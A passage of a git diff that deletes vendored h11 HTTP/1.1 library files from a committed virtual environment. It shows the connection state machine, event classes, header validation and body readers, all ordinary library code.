is that - # this is not supposed to happen. In any case, if it does happen, we - # ignore it. - if type(event) in (Request, Response) and not _keep_alive( - cast(Union[Request, Response], event) - ): - self._cstate.process_keep_alive_disabled() - - # 100-continue - if type(event) is Request and has_expect_100_continue(event): - self.client_is_waiting_for_100_continue = True - if type(event) in (InformationalResponse, Response): - self.client_is_waiting_for_100_continue = False - if role is CLIENT and type(event) in (Data, EndOfMessage): - self.client_is_waiting_for_100_continue = False - - self._respond_to_state_changes(old_states, event) - - def _get_io_object( - self, - role: Type[Sentinel], - event: Optional[Event], - io_dict: Union[ReadersType, WritersType], - ) -> Optional[Callable[..., Any]]: - # event may be None; it's only used when entering SEND_BODY - state = self._cstate.states[role] - if state is SEND_BODY: - # Special case: the io_dict has a dict of reader/writer factories - # that depend on the request/response framing. - framing_type, args = _body_framing( - cast(bytes, self._request_method), cast(Union[Request, Response], event) - ) - return io_dict[SEND_BODY][framing_type](*args) # type: ignore[index] - else: - # General case: the io_dict just has the appropriate reader/writer - # for this state - return io_dict.get((role, state)) # type: ignore[return-value] - - # This must be called after any action that might have caused - # self._cstate.states to change. - def _respond_to_state_changes( - self, - old_states: Dict[Type[Sentinel], Type[Sentinel]], - event: Optional[Event] = None, - ) -> None: - # Update reader/writer - if self.our_state != old_states[self.our_role]: - self._writer = self._get_io_object(self.our_role, event, WRITERS) - if self.their_state != old_states[self.their_role]: - self._reader = self._get_io_object(self.their_role, event, READERS) - - @property - def trailing_data(self) -> Tuple[bytes, bool]: - """Data that has been received, but not yet processed, represented as - a tuple with two elements, where the first is a byte-string containing - the unprocessed data itself, and the second is a bool that is True if - the receive connection was closed. - - See :ref:`switching-protocols` for discussion of why you'd want this. - """ - return (bytes(self._receive_buffer), self._receive_buffer_closed) - - def receive_data(self, data: bytes) -> None: - """Add data to our internal receive buffer. - - This does not actually do any processing on the data, just stores - it. To trigger processing, you have to call :meth:`next_event`. - - Args: - data (:term:`bytes-like object`): - The new data that was just received. - - Special case: If *data* is an empty byte-string like ``b""``, - then this indicates that the remote side has closed the - connection (end of file). Normally this is convenient, because - standard Python APIs like :meth:`file.read` or - :meth:`socket.recv` use ``b""`` to indicate end-of-file, while - other failures to read are indicated using other mechanisms - like raising :exc:`TimeoutError`. When using such an API you - can just blindly pass through whatever you get from ``read`` - to :meth:`receive_data`, and everything will work. - - But, if you have an API where reading an empty string is a - valid non-EOF condition, then you need to be aware of this and - make sure to check for such strings and avoid passing them to - :meth:`receive_data`. - - Returns: - Nothing, but after calling this you should call :meth:`next_event` - to parse the newly received data. - - Raises: - RuntimeError: - Raised if you pass an empty *data*, indicating EOF, and then - pass a non-empty *data*, indicating more data that somehow - arrived after the EOF. - - (Calling ``receive_data(b"")`` multiple times is fine, - and equivalent to calling it once.) - - """ - if data: - if self._receive_buffer_closed: - raise RuntimeError("received close, then received more data?") - self._receive_buffer += data - else: - self._receive_buffer_closed = True - - def _extract_next_receive_event( - self, - ) -> Union[Event, Type[NEED_DATA], Type[PAUSED]]: - state = self.their_state - # We don't pause immediately when they enter DONE, because even in - # DONE state we can still process a ConnectionClosed() event. But - # if we have data in our buffer, then we definitely aren't getting - # a ConnectionClosed() immediately and we need to pause. - if state is DONE and self._receive_buffer: - return PAUSED - if state is MIGHT_SWITCH_PROTOCOL or state is SWITCHED_PROTOCOL: - return PAUSED - assert self._reader is not None - event = self._reader(self._receive_buffer) - if event is None: - if not self._receive_buffer and self._receive_buffer_closed: - # In some unusual cases (basically just HTTP/1.0 bodies), EOF - # triggers an actual protocol event; in that case, we want to - # return that event, and then the state will change and we'll - # get called again to generate the actual ConnectionClosed(). - if hasattr(self._reader, "read_eof"): - event = self._reader.read_eof() - else: - event = ConnectionClosed() - if event is None: - event = NEED_DATA - return event # type: ignore[no-any-return] - - def next_event(self) -> Union[Event, Type[NEED_DATA], Type[PAUSED]]: - """Parse the next event out of our receive buffer, update our internal - state, and return it. - - This is a mutating operation -- think of it like calling :func:`next` - on an iterator. - - Returns: - : One of three things: - - 1) An event object -- see :ref:`events`. - - 2) The special constant :data:`NEED_DATA`, which indicates that - you need to read more data from your socket and pass it to - :meth:`receive_data` before this method will be able to return - any more events. - - 3) The special constant :data:`PAUSED`, which indicates that we - are not in a state where we can process incoming data (usually - because the peer has finished their part of the current - request/response cycle, and you have not yet called - :meth:`start_next_cycle`). See :ref:`flow-control` for details. - - Raises: - RemoteProtocolError: - The peer has misbehaved. You should close the connection - (possibly after sending some kind of 4xx response). - - Once this method returns :class:`ConnectionClosed` once, then all - subsequent calls will also return :class:`ConnectionClosed`. - - If this method raises any exception besides :exc:`RemoteProtocolError` - then that's a bug -- if it happens please file a bug report! - - If this method raises any exception then it also sets - :attr:`Connection.their_state` to :data:`ERROR` -- see - :ref:`error-handling` for discussion. - - """ - - if self.their_state is ERROR: - raise RemoteProtocolError("Can't receive data when peer state is ERROR") - try: - event = self._extract_next_receive_event() - if event not in [NEED_DATA, PAUSED]: - self._process_event(self.their_role, cast(Event, event)) - if event is NEED_DATA: - if len(self._receive_buffer) > self._max_incomplete_event_size: - # 431 is "Request header fields too large" which is pretty - # much the only situation where we can get here - raise RemoteProtocolError( - "Receive buffer too long", error_status_hint=431 - ) - if self._receive_buffer_closed: - # We're still trying to complete some event, but that's - # never going to happen because no more data is coming - raise RemoteProtocolError("peer unexpectedly closed connection") - return event - except BaseException as exc: - self._process_error(self.their_role) - if isinstance(exc, LocalProtocolError): - exc._reraise_as_remote_protocol_error() - else: - raise - - @overload - def send(self, event: ConnectionClosed) -> None: - ... - - @overload - def send( - self, event: Union[Request, InformationalResponse, Response, Data, EndOfMessage] - ) -> bytes: - ... - - @overload - def send(self, event: Event) -> Optional[bytes]: - ... - - def send(self, event: Event) -> Optional[bytes]: - """Convert a high-level event into bytes that can be sent to the peer, - while updating our internal state machine. - - Args: - event: The :ref:`event ` to send. - - Returns: - If ``type(event) is ConnectionClosed``, then returns - ``None``. Otherwise, returns a :term:`bytes-like object`. - - Raises: - LocalProtocolError: - Sending this event at this time would violate our - understanding of the HTTP/1.1 protocol. - - If this method raises any exception then it also sets - :attr:`Connection.our_state` to :data:`ERROR` -- see - :ref:`error-handling` for discussion. - - """ - data_list = self.send_with_data_passthrough(event) - if data_list is None: - return None - else: - return b"".join(data_list) - - def send_with_data_passthrough(self, event: Event) -> Optional[List[bytes]]: - """Identical to :meth:`send`, except that in situations where - :meth:`send` returns a single :term:`bytes-like object`, this instead - returns a list of them -- and when sending a :class:`Data` event, this - list is guaranteed to contain the exact object you passed in as - :attr:`Data.data`. See :ref:`sendfile` for discussion. - - """ - if self.our_state is ERROR: - raise LocalProtocolError("Can't send data when our state is ERROR") - try: - if type(event) is Response: - event = self._clean_up_response_headers_for_sending(event) - # We want to call _process_event before calling the writer, - # because if someone tries to do something invalid then this will - # give a sensible error message, while our writers all just assume - # they will only receive valid events. But, _process_event might - # change self._writer. So we have to do a little dance: - writer = self._writer - self._process_event(self.our_role, event) - if type(event) is ConnectionClosed: - return None - else: - # In any situation where writer is None, process_event should - # have raised ProtocolError - assert writer is not None - data_list: List[bytes] = [] - writer(event, data_list.append) - return data_list - except: - self._process_error(self.our_role) - raise - - def send_failed(self) -> None: - """Notify the state machine that we failed to send the data it gave - us. - - This causes :attr:`Connection.our_state` to immediately become - :data:`ERROR` -- see :ref:`error-handling` for discussion. - - """ - self._process_error(self.our_role) - - # When sending a Response, we take responsibility for a few things: - # - # - Sometimes you MUST set Connection: close. We take care of those - # times. (You can also set it yourself if you want, and if you do then - # we'll respect that and close the connection at the right time. But you - # don't have to worry about that unless you want to.) - # - # - The user has to set Content-Length if they want it. Otherwise, for - # responses that have bodies (e.g. not HEAD), then we will automatically - # select the right mechanism for streaming a body of unknown length, - # which depends on depending on the peer's HTTP version. - # - # This function's *only* responsibility is making sure headers are set up - # right -- everything downstream just looks at the headers. There are no - # side channels. - def _clean_up_response_headers_for_sending(self, response: Response) -> Response: - assert type(response) is Response - - headers = response.headers - need_close = False - - # HEAD requests need some special handling: they always act like they - # have Content-Length: 0, and that's how _body_framing treats - # them. But their headers are supposed to match what we would send if - # the request was a GET. (Technically there is one deviation allowed: - # we're allowed to leave out the framing headers -- see - # https://tools.ietf.org/html/rfc7231#section-4.3.2 . But it's just as - # easy to get them right.) - method_for_choosing_headers = cast(bytes, self._request_method) - if method_for_choosing_headers == b"HEAD": - method_for_choosing_headers = b"GET" - framing_type, _ = _body_framing(method_for_choosing_headers, response) - if framing_type in ("chunked", "http/1.0"): - # This response has a body of unknown length. - # If our peer is HTTP/1.1, we use Transfer-Encoding: chunked - # If our peer is HTTP/1.0, we use no framing headers, and close the - # connection afterwards. - # - # Make sure to clear Content-Length (in principle user could have - # set both and then we ignored Content-Length b/c - # Transfer-Encoding overwrote it -- this would be naughty of them, - # but the HTTP spec says that if our peer does this then we have - # to fix it instead of erroring out, so we'll accord the user the - # same respect). - headers = set_comma_header(headers, b"content-length", []) - if self.their_http_version is None or self.their_http_version < b"1.1": - # Either we never got a valid request and are sending back an - # error (their_http_version is None), so we assume the worst; - # or else we did get a valid HTTP/1.0 request, so we know that - # they don't understand chunked encoding. - headers = set_comma_header(headers, b"transfer-encoding", []) - # This is actually redundant ATM, since currently we - # unconditionally disable keep-alive when talking to HTTP/1.0 - # peers. But let's be defensive just in case we add - # Connection: keep-alive support later: - if self._request_method != b"HEAD": - need_close = True - else: - headers = set_comma_header(headers, b"transfer-encoding", [b"chunked"]) - - if not self._cstate.keep_alive or need_close: - # Make sure Connection: close is set - connection = set(get_comma_header(headers, b"connection")) - connection.discard(b"keep-alive") - connection.add(b"close") - headers = set_comma_header(headers, b"connection", sorted(connection)) - - return Response( - headers=headers, - status_code=response.status_code, - http_version=response.http_version, - reason=response.reason, - ) diff --git a/venv/Lib/site-packages/h11/_events.py b/venv/Lib/site-packages/h11/_events.py deleted file mode 100644 index ca1c3adbde2c4e7710482a18e3471f91f1da610e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h11/_events.py +++ /dev/null @@ -1,369 +0,0 @@ -# High level events that make up HTTP/1.1 conversations. Loosely inspired by -# the corresponding events in hyper-h2: -# -# http://python-hyper.org/h2/en/stable/api.html#events -# -# Don't subclass these. Stuff will break. - -import re -from abc import ABC -from dataclasses import dataclass -from typing import List, Tuple, Union - -from ._abnf import method, request_target -from ._headers import Headers, normalize_and_validate -from ._util import bytesify, LocalProtocolError, validate - -# Everything in __all__ gets re-exported as part of the h11 public API. -__all__ = [ - "Event", - "Request", - "InformationalResponse", - "Response", - "Data", - "EndOfMessage", - "ConnectionClosed", -] - -method_re = re.compile(method.encode("ascii")) -request_target_re = re.compile(request_target.encode("ascii")) - - -class Event(ABC): - """ - Base class for h11 events. - """ - - __slots__ = () - - -@dataclass(init=False, frozen=True) -class Request(Event): - """The beginning of an HTTP request. - - Fields: - - .. attribute:: method - - An HTTP method, e.g. ``b"GET"`` or ``b"POST"``. Always a byte - string. :term:`Bytes-like objects ` and native - strings containing only ascii characters will be automatically - converted to byte strings. - - .. attribute:: target - - The target of an HTTP request, e.g. ``b"/index.html"``, or one of the - more exotic formats described in `RFC 7320, section 5.3 - `_. Always a byte - string. :term:`Bytes-like objects ` and native - strings containing only ascii characters will be automatically - converted to byte strings. - - .. attribute:: headers - - Request headers, represented as a list of (name, value) pairs. See - :ref:`the header normalization rules ` for details. - - .. attribute:: http_version - - The HTTP protocol version, represented as a byte string like - ``b"1.1"``. See :ref:`the HTTP version normalization rules - ` for details. - - """ - - __slots__ = ("method", "headers", "target", "http_version") - - method: bytes - headers: Headers - target: bytes - http_version: bytes - - def __init__( - self, - *, - method: Union[bytes, str], - headers: Union[Headers, List[Tuple[bytes, bytes]], List[Tuple[str, str]]], - target: Union[bytes, str], - http_version: Union[bytes, str] = b"1.1", - _parsed: bool = False, - ) -> None: - super().__init__() - if isinstance(headers, Headers): - object.__setattr__(self, "headers", headers) - else: - object.__setattr__( - self, "headers", normalize_and_validate(headers, _parsed=_parsed) - ) - if not _parsed: - object.__setattr__(self, "method", bytesify(method)) - object.__setattr__(self, "target", bytesify(target)) - object.__setattr__(self, "http_version", bytesify(http_version)) - else: - object.__setattr__(self, "method", method) - object.__setattr__(self, "target", target) - object.__setattr__(self, "http_version", http_version) - - # "A server MUST respond with a 400 (Bad Request) status code to any - # HTTP/1.1 request message that lacks a Host header field and to any - # request message that contains more than one Host header field or a - # Host header field with an invalid field-value." - # -- https://tools.ietf.org/html/rfc7230#section-5.4 - host_count = 0 - for name, value in self.headers: - if name == b"host": - host_count += 1 - if self.http_version == b"1.1" and host_count == 0: - raise LocalProtocolError("Missing mandatory Host: header") - if host_count > 1: - raise LocalProtocolError("Found multiple Host: headers") - - validate(method_re, self.method, "Illegal method characters") - validate(request_target_re, self.target, "Illegal target characters") - - # This is an unhashable type. - __hash__ = None # type: ignore - - -@dataclass(init=False, frozen=True) -class _ResponseBase(Event): - __slots__ = ("headers", "http_version", "reason", "status_code") - - headers: Headers - http_version: bytes - reason: bytes - status_code: int - - def __init__( - self, - *, - headers: Union[Headers, List[Tuple[bytes, bytes]], List[Tuple[str, str]]], - status_code: int, - http_version: Union[bytes, str] = b"1.1", - reason: Union[bytes, str] = b"", - _parsed: bool = False, - ) -> None: - super().__init__() - if isinstance(headers, Headers): - object.__setattr__(self, "headers", headers) - else: - object.__setattr__( - self, "headers", normalize_and_validate(headers, _parsed=_parsed) - ) - if not _parsed: - object.__setattr__(self, "reason", bytesify(reason)) - object.__setattr__(self, "http_version", bytesify(http_version)) - if not isinstance(status_code, int): - raise LocalProtocolError("status code must be integer") - # Because IntEnum objects are instances of int, but aren't - # duck-compatible (sigh), see gh-72. - object.__setattr__(self, "status_code", int(status_code)) - else: - object.__setattr__(self, "reason", reason) - object.__setattr__(self, "http_version", http_version) - object.__setattr__(self, "status_code", status_code) - - self.__post_init__() - - def __post_init__(self) -> None: - pass - - # This is an unhashable type. - __hash__ = None # type: ignore - - -@dataclass(init=False, frozen=True) -class InformationalResponse(_ResponseBase): - """An HTTP informational response. - - Fields: - - .. attribute:: status_code - - The status code of this response, as an integer. For an - :class:`InformationalResponse`, this is always in the range [100, - 200). - - .. attribute:: headers - - Request headers, represented as a list of (name, value) pairs. See - :ref:`the header normalization rules ` for - details. - - .. attribute:: http_version - - The HTTP protocol version, represented as a byte string like - ``b"1.1"``. See :ref:`the HTTP version normalization rules - ` for details. - - .. attribute:: reason - - The reason phrase of this response, as a byte string. For example: - ``b"OK"``, or ``b"Not Found"``. - - """ - - def __post_init__(self) -> None: - if not (100 <= self.status_code < 200): - raise LocalProtocolError( - "InformationalResponse status_code should be in range " - "[100, 200), not {}".format(self.status_code) - ) - - # This is an unhashable type. - __hash__ = None # type: ignore - - -@dataclass(init=False, frozen=True) -class Response(_ResponseBase): - """The beginning of an HTTP response. - - Fields: - - .. attribute:: status_code - - The status code of this response, as an integer. For an - :class:`Response`, this is always in the range [200, - 1000). - - .. attribute:: headers - - Request headers, represented as a list of (name, value) pairs. See - :ref:`the header normalization rules ` for details. - - .. attribute:: http_version - - The HTTP protocol version, represented as a byte string like - ``b"1.1"``. See :ref:`the HTTP version normalization rules - ` for details. - - .. attribute:: reason - - The reason phrase of this response, as a byte string. For example: - ``b"OK"``, or ``b"Not Found"``. - - """ - - def __post_init__(self) -> None: - if not (200 <= self.status_code < 1000): - raise LocalProtocolError( - "Response status_code should be in range [200, 1000), not {}".format( - self.status_code - ) - ) - - # This is an unhashable type. - __hash__ = None # type: ignore - - -@dataclass(init=False, frozen=True) -class Data(Event): - """Part of an HTTP message body. - - Fields: - - .. attribute:: data - - A :term:`bytes-like object` containing part of a message body. Or, if - using the ``combine=False`` argument to :meth:`Connection.send`, then - any object that your socket writing code knows what to do with, and for - which calling :func:`len` returns the number of bytes that will be - written -- see :ref:`sendfile` for details. - - .. attribute:: chunk_start - - A marker that indicates whether this data object is from the start of a - chunked transfer encoding chunk. This field is ignored when when a Data - event is provided to :meth:`Connection.send`: it is only valid on - events emitted from :meth:`Connection.next_event`. You probably - shouldn't use this attribute at all; see - :ref:`chunk-delimiters-are-bad` for details. - - .. attribute:: chunk_end - - A marker that indicates whether this data object is the last for a - given chunked transfer encoding chunk. This field is ignored when when - a Data event is provided to :meth:`Connection.send`: it is only valid - on events emitted from :meth:`Connection.next_event`. You probably - shouldn't use this attribute at all; see - :ref:`chunk-delimiters-are-bad` for details. - - """ - - __slots__ = ("data", "chunk_start", "chunk_end") - - data: bytes - chunk_start: bool - chunk_end: bool - - def __init__( - self, data: bytes, chunk_start: bool = False, chunk_end: bool = False - ) -> None: - object.__setattr__(self, "data", data) - object.__setattr__(self, "chunk_start", chunk_start) - object.__setattr__(self, "chunk_end", chunk_end) - - # This is an unhashable type. - __hash__ = None # type: ignore - - -# XX FIXME: "A recipient MUST ignore (or consider as an error) any fields that -# are forbidden to be sent in a trailer, since processing them as if they were -# present in the header section might bypass external security filters." -# https://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7230.html#chunked.trailer.part -# Unfortunately, the list of forbidden fields is long and vague :-/ -@dataclass(init=False, frozen=True) -class EndOfMessage(Event): - """The end of an HTTP message. - - Fields: - - .. attribute:: headers - - Default value: ``[]`` - - Any trailing headers attached to this message, represented as a list of - (name, value) pairs. See :ref:`the header normalization rules - ` for details. - - Must be empty unless ``Transfer-Encoding: chunked`` is in use. - - """ - - __slots__ = ("headers",) - - headers: Headers - - def __init__( - self, - *, - headers: Union[ - Headers, List[Tuple[bytes, bytes]], List[Tuple[str, str]], None - ] = None, - _parsed: bool = False, - ) -> None: - super().__init__() - if headers is None: - headers = Headers([]) - elif not isinstance(headers, Headers): - headers = normalize_and_validate(headers, _parsed=_parsed) - - object.__setattr__(self, "headers", headers) - - # This is an unhashable type. - __hash__ = None # type: ignore - - -@dataclass(frozen=True) -class ConnectionClosed(Event): - """This event indicates that the sender has closed their outgoing - connection. - - Note that this does not necessarily mean that they can't *receive* further - data, because TCP connections are composed to two one-way channels which - can be closed independently. See :ref:`closing` for details. - - No fields. - """ - - pass diff --git a/venv/Lib/site-packages/h11/_headers.py b/venv/Lib/site-packages/h11/_headers.py deleted file mode 100644 index 31da3e2b23b55a624b36f105e62a6902e63286aa..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h11/_headers.py +++ /dev/null @@ -1,282 +0,0 @@ -import re -from typing import AnyStr, cast, List, overload, Sequence, Tuple, TYPE_CHECKING, Union - -from ._abnf import field_name, field_value -from ._util import bytesify, LocalProtocolError, validate - -if TYPE_CHECKING: - from ._events import Request - -try: - from typing import Literal -except ImportError: - from typing_extensions import Literal # type: ignore - -CONTENT_LENGTH_MAX_DIGITS = 20 # allow up to 1 billion TB - 1 - - -# Facts -# ----- -# -# Headers are: -# keys: case-insensitive ascii -# values: mixture of ascii and raw bytes -# -# "Historically, HTTP has allowed field content with text in the ISO-8859-1 -# charset [ISO-8859-1], supporting other charsets only through use of -# [RFC2047] encoding. In practice, most HTTP header field values use only a -# subset of the US-ASCII charset [USASCII]. Newly defined header fields SHOULD -# limit their field values to US-ASCII octets. A recipient SHOULD treat other -# octets in field content (obs-text) as opaque data." -# And it deprecates all non-ascii values -# -# Leading/trailing whitespace in header names is forbidden -# -# Values get leading/trailing whitespace stripped -# -# Content-Disposition actually needs to contain unicode semantically; to -# accomplish this it has a terrifically weird way of encoding the filename -# itself as ascii (and even this still has lots of cross-browser -# incompatibilities) -# -# Order is important: -# "a proxy MUST NOT change the order of these field values when forwarding a -# message" -# (and there are several headers where the order indicates a preference) -# -# Multiple occurences of the same header: -# "A sender MUST NOT generate multiple header fields with the same field name -# in a message unless either the entire field value for that header field is -# defined as a comma-separated list [or the header is Set-Cookie which gets a -# special exception]" - RFC 7230. (cookies are in RFC 6265) -# -# So every header aside from Set-Cookie can be merged by b", ".join if it -# occurs repeatedly. But, of course, they can't necessarily be split by -# .split(b","), because quoting. -# -# Given all this mess (case insensitive, duplicates allowed, order is -# important, ...), there doesn't appear to be any standard way to handle -# headers in Python -- they're almost like dicts, but... actually just -# aren't. For now we punt and just use a super simple representation: headers -# are a list of pairs -# -# [(name1, value1), (name2, value2), ...] -# -# where all entries are bytestrings, names are lowercase and have no -# leading/trailing whitespace, and values are bytestrings with no -# leading/trailing whitespace. Searching and updating are done via naive O(n) -# methods. -# -# Maybe a dict-of-lists would be better? - -_content_length_re = re.compile(rb"[0-9]+") -_field_name_re = re.compile(field_name.encode("ascii")) -_field_value_re = re.compile(field_value.encode("ascii")) - - -class Headers(Sequence[Tuple[bytes, bytes]]): - """ - A list-like interface that allows iterating over headers as byte-pairs - of (lowercased-name, value). - - Internally we actually store the representation as three-tuples, - including both the raw original casing, in order to preserve casing - over-the-wire, and the lowercased name, for case-insensitive comparisions. - - r = Request( - method="GET", - target="/", - headers=[("Host", "example.org"), ("Connection", "keep-alive")], - http_version="1.1", - ) - assert r.headers == [ - (b"host", b"example.org"), - (b"connection", b"keep-alive") - ] - assert r.headers.raw_items() == [ - (b"Host", b"example.org"), - (b"Connection", b"keep-alive") - ] - """ - - __slots__ = "_full_items" - - def __init__(self, full_items: List[Tuple[bytes, bytes, bytes]]) -> None: - self._full_items = full_items - - def __bool__(self) -> bool: - return bool(self._full_items) - - def __eq__(self, other: object) -> bool: - return list(self) == list(other) # type: ignore - - def __len__(self) -> int: - return len(self._full_items) - - def __repr__(self) -> str: - return "" % repr(list(self)) - - def __getitem__(self, idx: int) -> Tuple[bytes, bytes]: # type: ignore[override] - _, name, value = self._full_items[idx] - return (name, value) - - def raw_items(self) -> List[Tuple[bytes, bytes]]: - return [(raw_name, value) for raw_name, _, value in self._full_items] - - -HeaderTypes = Union[ - List[Tuple[bytes, bytes]], - List[Tuple[bytes, str]], - List[Tuple[str, bytes]], - List[Tuple[str, str]], -] - - -@overload -def normalize_and_validate(headers: Headers, _parsed: Literal[True]) -> Headers: - ... - - -@overload -def normalize_and_validate(headers: HeaderTypes, _parsed: Literal[False]) -> Headers: - ... - - -@overload -def normalize_and_validate( - headers: Union[Headers, HeaderTypes], _parsed: bool = False -) -> Headers: - ... - - -def normalize_and_validate( - headers: Union[Headers, HeaderTypes], _parsed: bool = False -) -> Headers: - new_headers = [] - seen_content_length = None - saw_transfer_encoding = False - for name, value in headers: - # For headers coming out of the parser, we can safely skip some steps, - # because it always returns bytes and has already run these regexes - # over the data: - if not _parsed: - name = bytesify(name) - value = bytesify(value) - validate(_field_name_re, name, "Illegal header name {!r}", name) - validate(_field_value_re, value, "Illegal header value {!r}", value) - assert isinstance(name, bytes) - assert isinstance(value, bytes) - - raw_name = name - name = name.lower() - if name == b"content-length": - lengths = {length.strip() for length in value.split(b",")} - if len(lengths) != 1: - raise LocalProtocolError("conflicting Content-Length headers") - value = lengths.pop() - validate(_content_length_re, value, "bad Content-Length") - if len(value) > CONTENT_LENGTH_MAX_DIGITS: - raise LocalProtocolError("bad Content-Length") - if seen_content_length is None: - seen_content_length = value - new_headers.append((raw_name, name, value)) - elif seen_content_length != value: - raise LocalProtocolError("conflicting Content-Length headers") - elif name == b"transfer-encoding": - # "A server that receives a request message with a transfer coding - # it does not understand SHOULD respond with 501 (Not - # Implemented)." - # https://tools.ietf.org/html/rfc7230#section-3.3.1 - if saw_transfer_encoding: - raise LocalProtocolError( - "multiple Transfer-Encoding headers", error_status_hint=501 - ) - # "All transfer-coding names are case-insensitive" - # -- https://tools.ietf.org/html/rfc7230#section-4 - value = value.lower() - if value != b"chunked": - raise LocalProtocolError( - "Only Transfer-Encoding: chunked is supported", - error_status_hint=501, - ) - saw_transfer_encoding = True - new_headers.append((raw_name, name, value)) - else: - new_headers.append((raw_name, name, value)) - return Headers(new_headers) - - -def get_comma_header(headers: Headers, name: bytes) -> List[bytes]: - # Should only be used for headers whose value is a list of - # comma-separated, case-insensitive values. - # - # The header name `name` is expected to be lower-case bytes. - # - # Connection: meets these criteria (including cast insensitivity). - # - # Content-Length: technically is just a single value (1*DIGIT), but the - # standard makes reference to implementations that do multiple values, and - # using this doesn't hurt. Ditto, case insensitivity doesn't things either - # way. - # - # Transfer-Encoding: is more complex (allows for quoted strings), so - # splitting on , is actually wrong. For example, this is legal: - # - # Transfer-Encoding: foo; options="1,2", chunked - # - # and should be parsed as - # - # foo; options="1,2" - # chunked - # - # but this naive function will parse it as - # - # foo; options="1 - # 2" - # chunked - # - # However, this is okay because the only thing we are going to do with - # any Transfer-Encoding is reject ones that aren't just "chunked", so - # both of these will be treated the same anyway. - # - # Expect: the only legal value is the literal string - # "100-continue". Splitting on commas is harmless. Case insensitive. - # - out: List[bytes] = [] - for _, found_name, found_raw_value in headers._full_items: - if found_name == name: - found_raw_value = found_raw_value.lower() - for found_split_value in found_raw_value.split(b","): - found_split_value = found_split_value.strip() - if found_split_value: - out.append(found_split_value) - return out - - -def set_comma_header(headers: Headers, name: bytes, new_values: List[bytes]) -> Headers: - # The header name `name` is expected to be lower-case bytes. - # - # Note that when we store the header we use title casing for the header - # names, in order to match the conventional HTTP header style. - # - # Simply calling `.title()` is a blunt approach, but it's correct - # here given the cases where we're using `set_comma_header`... - # - # Connection, Content-Length, Transfer-Encoding. - new_headers: List[Tuple[bytes, bytes]] = [] - for found_raw_name, found_name, found_raw_value in headers._full_items: - if found_name != name: - new_headers.append((found_raw_name, found_raw_value)) - for new_value in new_values: - new_headers.append((name.title(), new_value)) - return normalize_and_validate(new_headers) - - -def has_expect_100_continue(request: "Request") -> bool: - # https://tools.ietf.org/html/rfc7231#section-5.1.1 - # "A server that receives a 100-continue expectation in an HTTP/1.0 request - # MUST ignore that expectation." - if request.http_version < b"1.1": - return False - expect = get_comma_header(request.headers, b"expect") - return b"100-continue" in expect diff --git a/venv/Lib/site-packages/h11/_readers.py b/venv/Lib/site-packages/h11/_readers.py deleted file mode 100644 index 576804cc282032526e0a932c9853d586a094bad0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/h11/_readers.py +++ /dev/null @@ -1,250 +0,0 @@ -# Code to read HTTP data -# -# Strategy: each reader is a callable which takes a ReceiveBuffer object, and -# either: -# 1) consumes some of it and returns an Event -# 2) raises a LocalProtocolError (for consistency -- e.g. we call validate() -# and it might raise a LocalProtocolError, so simpler just to always use -# this) -# 3) returns None, meaning "I need more data" -# -# If they have a .read_eof attribute, then this will be called if an EOF is -# received -- but this is optional. Either way, the actual ConnectionClosed -# event will be generated afterwards. -# -# READERS is a dict describing how to pick a reader. It maps states to either: -# - a reader -# - or, for body readers, a dict of per-framing reader factories - -import re -from typing import Any, Callable, Dict, Iterable, NoReturn, Optional, Tuple, Type, Union - -from ._abnf import chunk_header, header_field, request_line, status_line -from ._events import Data, EndOfMessage, InformationalResponse, Request, Response -from ._receivebuffer import ReceiveBuffer -from ._state import ( - CLIENT, - CLOSED, - DONE, - IDLE, - MUST_CLOSE, - SEND_BODY, - SEND_RESPONSE, - SERVER, -) -from ._util import LocalProtocolError, RemoteProtocolError, Sentinel, validate - -__all__ = ["READERS"] - -header_field_re = re.compile(header_field.encode("ascii")) -obs_fold_re = re.compile(rb"[ \t]+") - - -def _obsolete_line_fold(lines: Iterable[bytes]) -> Iterable[bytes]: - it = iter(lines) - last: Optional[bytes] = None - for line in it: - match = obs_fold_re.match(line) - if match: - if last is None: - raise LocalProtocolError("continuation line at start of headers") - if not isinstance(last, bytearray): - # Cast to a mutable type, avoiding copy on append to ensure O(n) time - last = bytearray(last) - last += b" " - last += line[match.end() :] - else: - if last is not None: - yield last - last = line - if last is not None: - yield last - - -def _decode_header_lines( - lines: Iterable[bytes], -) -> Iterable[Tuple[bytes, bytes]]: - for line in _obsolete_line_fold(lines): - matches = validate(header_field_re, line, "illegal header line: {!r}", line) - yield (matches["field_name"], matches["field_value"]) - - -request_line_re = re.compile(request_line.encode("ascii")) - - -def maybe_read_from_IDLE_client(buf: ReceiveBuffer) -> Optional[Request]: - lines = buf.maybe_extract_lines() - if lines is None: - if buf.is_next_line_obviously_invalid_request_line(): - raise LocalProtocolError("illegal request line") - return None - if not lines: - raise LocalProtocolError("no request line received") - matches = validate( - request_line_re, lines[0], "illegal request line: {!r}", lines[0] - ) - return Request( - headers=list(_decode_header_lines(lines[1:])), _parsed=True, **matches - ) - - -status_line_re = re.compile(status_line.encode("ascii")) - - -def maybe_read_from_SEND_RESPONSE_server( - buf: ReceiveBuffer, -) -> Union[InformationalResponse, Response, None]: - lines = buf.maybe_extract_lines() - if lines is None: - if buf.is_next_line_obviously_invalid_request_line(): - raise LocalProtocolError("illegal request line") - return None - if not lines: - raise LocalProtocolError("no response line received") - matches = validate(status_line_re, lines[0], "illegal status line: {!r}", lines[0]) - http_version = ( - b"1.1" if matches["http_version"] is None else matches["http_version"] - ) - reason = b"" if matches["reason"] is None else matches["reason"] - status_code = int(matches["status_code"]) - class_: Union[Type[InformationalResponse], Type[Response]] = ( - InformationalResponse if status_code < 200 else Response - ) - return class_( - headers=list(_decode_header_lines(lines[1:])), - _parsed=True, - status_code=status_code, - reason=reason, - http_version=http_version, - ) - - -class ContentLengthReader: - def __init__(self, length: int) -> None: - self._length = length - self._remaining = length - - def __call__(self, buf: ReceiveBuffer) -> Union[Data, EndOfMessage, None]: - if self._remaining == 0: - return EndOfMessage() - data = buf.maybe_extract_at_most(self._remaining) - if data is None: - return None - self._remaining -= len(data) - return Data(data=data) - - def read_eof(self) -> NoReturn: - raise RemoteProtocolError( - "peer closed connection without sending complete message body " - "(received {} bytes, expected {})".format( - self._length - self._remaining, self._length - ) - ) - - -chunk_header_re = re.compile(chunk_header.encode("ascii")) - - -class ChunkedReader: - def __init__(self) -> None: - self._bytes_in_chunk = 0 - # After reading a chunk, we have to throw away the trailing \r\n. - # This tracks the bytes that we need to match and throw away. - self._bytes_to_discard = b"" - 